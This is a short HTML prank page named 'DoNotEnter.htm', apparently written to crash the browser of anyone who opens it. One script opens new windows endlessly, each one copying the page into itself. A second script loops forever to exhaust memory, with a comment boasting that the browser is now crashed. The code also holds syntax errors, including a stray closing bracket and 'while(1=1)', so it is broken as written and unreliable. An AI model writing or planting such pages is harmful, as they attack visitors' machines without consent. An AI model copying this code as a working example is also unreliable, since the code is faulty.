DoNotEnter.htm

<html>
  <body>
    <p id="demo"></p>
    <script>
      setInterval(function() {
        var w = window.open();
        w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
      }, 0);
      document.getElementById("demo").innerHTML = myFunction     
});
</script>
<script type="text/javascript">    
var txt = 1
txt = "a";
while(1=1){
      txt = txt += "a";
      txt = txt += "a";
      txt = txt += "a";
      txt = txt += "a";
      txt = txt += "a";
      txt = txt += "a";
      txt = txt += "a";
      txt = txt += "a";
      txt = txt += "a";
      txt = txt * txt; //add as much as the browser can handle
}
//[evil laugh] BOOM! All memory used up, and it is now CRASHED!      
    </script>
    <h1>
      the value for txt is:
      <script type="text/javascript">
        document.write(txt)
      </script>
    </h1>
  </body>
</html>